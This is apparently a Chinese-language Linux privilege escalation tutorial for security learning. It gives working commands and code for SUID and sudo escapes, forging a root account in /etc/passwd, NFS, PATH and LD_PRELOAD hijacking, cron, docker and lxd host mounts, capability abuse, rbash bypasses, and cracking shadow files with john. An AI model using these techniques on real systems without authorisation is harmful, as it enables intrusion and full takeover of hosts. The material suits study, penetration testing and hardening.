声明

知己知彼,百战不殆,有了解才有对策,不是教人有”判”头呀!!
Linux提权即获取root权限,可以划分为非漏洞提权和漏洞提取两部分。

非漏洞提权

利用管理员配置不当获取权限的方法。

利用SUID二进制文件进行提权

SUID权限

  1. SUID权限只能设置二进制文件。
  2. 命令的执行者要有二进制的执行权。
  3. 命令的执行者在执行该二进制文件的时候会获得属主身份。
  4. SUID权限只能在程序执行过程中有效。

示例:如果root给一个程序赋予了SUID权限,那么这个文件的属主就是root,在执行过程中将获得root权限。

什么是SUID

在实际应用中,仅设置文件的rwx基础权限无法满足安全和灵活性的需求,因此就有了SUID,SGID,SBIT的特殊权限位。具体查看 [[Linux权限]]。

利用方式

首先使用find命令去查找拥有SUID的二进制可执行文件

1
2
3
4
find -perm -u=s -type=f 2>/dev/null
# -perm 权限查找
# -u=s user有s权限
# -type=f 类型为普通的文件

假设cp有SUID权限

假设如果cp有SUID权限,那么在执行cp的时候就或拥有root权限。就可以把/etc/passwd复制到桌面进行修改。
首先利用openssl生成一个密码

1
2
3
4
openssl passwd -1 -salt 1x2x3 abcd
# -1 表示md5加密
# -salt 随意指定
# abcd为密码的值

然后按照etc/passwd的格式添加一个新的用户,权限按root的写。useradd等的操作其实就是修改了passwd,往passwd里写就行。
然后再通过 cp 替换掉etc中的passwd。这样就完成了一个提权帐号的生成。

假设find有SUID权限

只需要使用exec参数即可。

1
2
find test -exec "whomi" \;
# -> root

find的参数用来指定其他命令,以便用来处理搜索到的结果,结果的输出需要以分号结束,在bash环境中分号代表代码块结束,有特殊意义,所以这里需要转义。
这个时候其实whomi也有了root权限。

假设vim有SUID权限

这就更简单了,使用vim直接去改就完事了。可以直接去修改passwd里的用户基本信息:

1
2
3
4
aaa:x:1001:1001:aaa,,,:/home/aaa/:/bin/bash
# 修改为一下形式,0表示root
aaa:x:0:0:aaa,,,:/home/aaa/:/bin/bash
# 之后登入aaa,则默认是root用户

其他

更多的内容可以参考gtfobins

利用sudo提权

可以通过sudo -l 来查看当前用户能够执行的sudo权限的命令。所以普通用户的权限一定要严格。

sudo和su的区别

  1. sudo是以root权限去运行一个命令,su是切换用户的身份
  2. sudo只要知道自己的密码即可,su需要知道切换用户的密码

sudoers文件

查看 ((625a5352-27a1-4c55-b58d-e848ae8ca73e))。

sudo su && sudo bash

当没有对普通用户做严格限制,就可以通过sudo su切换到root。

git

当sudo允许执行git命令时,可以利用git来进行提权

1
2
3
4
5
6
7
8
sudo git help config

# 就会提供一个!/bin/bash 的可执行窗口

# 也可以通过
sudo git -p help

# 同理,输入当前用户的密码提权到root

perl

1
sudo perl -e 'exec "/bin/bash";'

python

1
2
3
sudo python -c 'import pty;pty.spawn("/bin/bash")'

# pty是一个伪终端库,它的spawn会调用指定的程序

less

1
2
3
sudo less /etc/hosts

# 在游览文件内容的时候,在底部输入!bash后回车,也能够获得一个root权限的shell

awk

1
sudo awk 'BEGIN {system("/bin/bash")}'

man

1
2
3
sudo man man

# 输入!bash也能获得root shell

env

通过设置env环境变量来获取root权限。

1
sudo env /bin/bash

ftp

1
2
sudo ftp
!/bin/bash

socat

通过socat客户端连接攻击机,攻击机可获得root shell。先执行服务端,后执行客户端。
image.png

scp

1
scp scp /etc/passwd root@192.168.23.138:/root/Desktop

然后对密码进行破解。可以使用 john 来爆破一下密码。

黑名单情况

如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其他目录下执行。
image.png
这种情况就是图中的 ALL, !/usr/bin/find的黑名单形式。这就可以将其放到其他位置进行执行。

NFS配置不当导致的Linux提权

NFS

network file system缩写,网络文件系统,用来挂载某个目录或者文件进行共享,默认是2049端口。

注意

共享的文件不能给到写权限或者root权限。

1
/home * (rw, no_root_squash)

/home 挂载目录,* 允许连接的主机,这里是所有,rw是读写权限,no_root_squash 代表客户端允许以root权限访问nfs。

以上配置是错误的。

提权

首先客户端把目标nfs的共享挂载到本地,然后把bash复制进去并赋予SUID权限,操作如图:
image.png
此时目标机的home目录下就有了一个具有SUID权限的bash。普通用户执行就可获得root权限,注意,注意需要加上 p 参数,否则权限还是当前用户的。

1
2
3
./bash -p
# p参数:不提供的情况下,打开bash权限是当前实际用户,提供的情况下,会打开特权模式,像上继承
# euid(有效用户),因为bash有suid权限,所以这里是root

使用场景:和SUID很像,给程序赋予SUID权限然后利用。

ps结合PATH变量进行LInux提权

指定可执行程序所在的目录,例如bin和sbin目录,当我们在终端下运行一个命令的时候,系统会根据PATH来查找相关的可执行文件。

1
2
3
4
5
6
7
8
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("ps");
}
# 并将其编译成为二进制可执行文件
# 将这个文件拷贝到目标机并赋予执行权限和SUID

通过这个文件就可以执行ps命令,之后在tmp下进行执行

1
2
3
4
5
6
7
8
9
10
cd /tmp
# tmp下重新构建ps命令, 这个时候会在tmp下创建一个新的ps命令
echo "/bin/bash" > ps
# 需要为tmp下的ps命令赋予权限,并添加到PATH中
chmod 777 ps
export PATH=/tmp:$PATH
# 系统会依据PATH中的位置按顺序查找可执行文件,后添加的最新被执行
cd ~/Desktop
./shell # 上述C代码的可执行文件
# 之后就可以获得root shell

cp结合PATH提权

也可以通过cp把sh可执行程序复制过来。
image.png

符号连接结合PATH提权

通过 ln 命令来设置一个连接,连接到sh,但是条件是当前可执行程序所在的目录要有相关权限
image.png
但是以上操作的目录不再是tmp,而是C的二进制文件所在位置。

使用LD_PRELOAD进行LInux提权

是Linux下的一个环境变量,程序运行时都会加载一些so文件,类似于windows下程序加载dll,而LD_PRELOAD可以指定程序运行前加载的动态连接库。

通过LD_PRELOAD指定恶意so文件来提权。

测试

先按如下配置胰腺癌sudoers文件,以aaa用户为例,添加一个find命令和一个LD_PRELOAD。
image.png
当通过su切换用户时,环境变量将一同改变,而想要保持某个环境不受用户切换的影响,可以在sudoers文件按中设置env_keep。

提权测试

切换会普通用户,查看sudo权限。由于定义了env_keep,虽然我们依旧只有一个find的sudo权限,且env_keep中定义了LD_PRELOAD,那么我们就可以定义一个恶意的so文件,然后sudo运行find时指定LD_PRELOAD来加载我们自己的so文件,就可以实现提权。

1
2
3
4
5
6
7
8
9
10
# shell.c
#include<stdio.h>
#include<sys/types.h>
#include<stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

然后进行编译-fPIC shared参数简单理解就是动态编辑共享库,可以进行公共调用,nostartfiles参数代表该库运行不会去调用系统的其他库,避免影响自己的程序执行。
image.png
编译后,我们使用sudo运行find并指定LD_PRELOAD为我们编译的shell.so,这时find就会先调用shell.so,导致我们的代码被执行,返回root shell。
注意:如果使用自己攻击机编译的so文件,传到目标机可能普通用户没有执行权限,这时需要加上权限。如果目标机支持gcc编译,也可以直接在目标机编译。

利用Cron进行Linux提权

Cron是定时任务。

crontab文件覆盖

这里以root用户创建一下测试环境,利用cron定时执行一个清除特定目标的脚本,例如/tmp/filetest。

1
2
3
4
5
6
7
8
# clear.py
# 使用python脚本执行该功能
import os
import sys
try:
os.system('rm -r /tmp/filetest/*')
except:
sys.exit()

然后添加定时任务,定时任务在etc/crontab
image.png
表示每隔2分钟,就执行clear.py一次。
提权方式就是替换掉clear.py 中的内容。这里打算使用dash,一个比bash更小,运行速度更快shell
image.png
这里在clear脚本中,给dash增加了SUID权限。然后运行

1
2
3
/bin/dash -p

# 这里需要一个 p 参数,让其权限向上继承,这个时候向上继承了SUID的权限,才能提权成功

利用Docker进行Linux提权

在docekr中是允许访问root用户和docker组中的其他用户的。

提权

首先以root用户身份把一个普通帐号添加到docker组,这里是test用户。然后使用newgrp将root帐号初始组切换为docker
image.png
然后切换到test用户,可以看到当前已经在docker组
image.png
之后使用docker run来运行alpine镜像,v参数进行挂载,将宿主机的root目录挂载到alpine的mnt下,使用冒号进行分割。i 参数是保持打开状态,t 参数是分配一个tty终端,it 一般结合使用,即保持通讯终端的打开。
这个时候访问docker镜像alpine,就相当于访问主机的root目录,权限变成了root。
image.png
利用的方式还有很多,例如将宿主机的etc挂载过来,然后查看shadow文件,进行密码破解。

1
docker run -v /etc/:/mnt -it alpine

image.png
或者添加root帐号到passwd文件中。
image.png

重点是一定是要有可交互终端的。

利用Lxd进行Linux提权

介绍

lxc:系统容器,使进程之间相互隔离,进程虚拟化。
lxd:lxc有些缺点,例如不能进行容器迁移,管理比较复杂,所以进行了升级,即lxd,用来管理容器。
docker:lxclxd都是系统容器,而docker是应用程序容器。

攻击机设置

以Kali为例,首先需要下载alpine,然后进行build构建:
image.png
此时会生成一个tar.gz包,把该包传到目标机的tmp下。导入tmp后,将该映像添加到lxd中,添加后可通过lxc image list查看。
image.png
之后就可以进行提权操作。整体提权命令就4条:
image.png

利用capability进行Linux提权

介绍

capability类似于SUID,是用来让普通用户也可以做超级用户的工作,从而设置的一个机制,原来linux分的是普通用户和超级用户,后来加了capability,即赋予某某帐号能力,这个帐号有了能力就可以做事了。
capability可以分割root权限,把root特权分割成不同的能力,然后给与普通用户不同的能力:
image.png
多的很呢。
capability与SUID的缺别:SUID是针对某个用户,而capability是针对某个程序。
在设置程序能力时,有三个选项:

  1. inheritable,简称 i ,表示是否可继承
  2. permitted,简称 p,表示是否允许使用
  3. effective,简称 e,表示特权是否有效

setcap

setcap命令用来设置能力:

1
setcap cap_setuid+ep /home/demo/python3

表示为home/demo/python3这个程序添加了setuid能力,即改变进程uid的能力,+ep就表示能力有效,且允许使用。

提权

首先需要获取有能力的程序。setcap设置能力,getcat读取能力。getcap通过参数 r 来读取指定目录下有能力的程序
image.png
能力的滥用会导致提权,例如管理员要为python3程序设置超级权限给aaa用户,但是没有用suid或sudo授权,而是用capability:
image.png
因为root只想给aaa用户的python3能力,所以这里将程序复制到了aaa用户下,如果直接设置bin下的python3程序,那么意味着任何用户都具有了相关能力。
这时,获取了aaa账户,通过getcap命令发现python3具有setuid能力且属主和属于都是root。
那么提权就类似于SUID中的python提权方式。提权方式也是同理,其实就是类似于SUID的权限泄露。

rbash绕过

确切的说不属于提权,只是绕过rbash的限制,因为绕过后身份依旧是当前的普通用户

rbash是Restricted bash的缩写,即受限制的bash。管理员可以通过指定普通用户的bash为rbash,来限制相关操作。在rbash中,很多行为和命令都会收到限制。

建立rbash

image.png
将用户aaa设置为rbash。

vi绕过

可以进入vi中执行set命令将shell改为/bin/sh.
image.png

ed绕过

文件编辑命令,类似于vi,也是内联编辑模式,可输入命令
image.png

sh、bash、dash绕过

默认情况下,可以在rbash中执行,从而绕过rbash。如果这些命令不被允许,而cp被允许,可以把这些文件复制到当前目录运行,但是如果 / 符号不被允许,那么是无法复制到当前目录的

可以通过一系列可以执行的程序来绕过

awk绕过

awk命令通过BEGIN参数来指定执行前的语句:
image.png

more绕过

可以在more读取文件内容的时候,通过!sh来进入sh绕过rbash

ssh绕过

ssh可以通过 t 参数来强制分配给自己伪终端,指定强制分配给自己bash。然后指定noprofile参数,bash默认允许时会调用当前用户的bashrc等配置,该参数添加后,bash启动不会读取当前用户的默认配置

1
ssh aaa@192.168.1.1 -t "bash --noprofile"

安全检测脚本

image.png

漏洞提权

这可太“刑”了。

一般情况下,建议先排查非漏洞提权方法,然后根据内核版本来查找相关的提权漏洞。
获取内核版本后,可以搜索该版本存在的漏洞,以下是常见的检测脚本:
image.png
cxsecurity

破解工具

john

获取shadow文件的加密信息进行破解,获取整行。

1
john shadow # 针对一行信息

image.png
当依据破解已经破解过的内容的时候,会显示
image.png
想要查看依据破解过的密码通过以下命令

1
john --show shadow # 就可以查看之前破解的结果

参考

aFa攻防实验室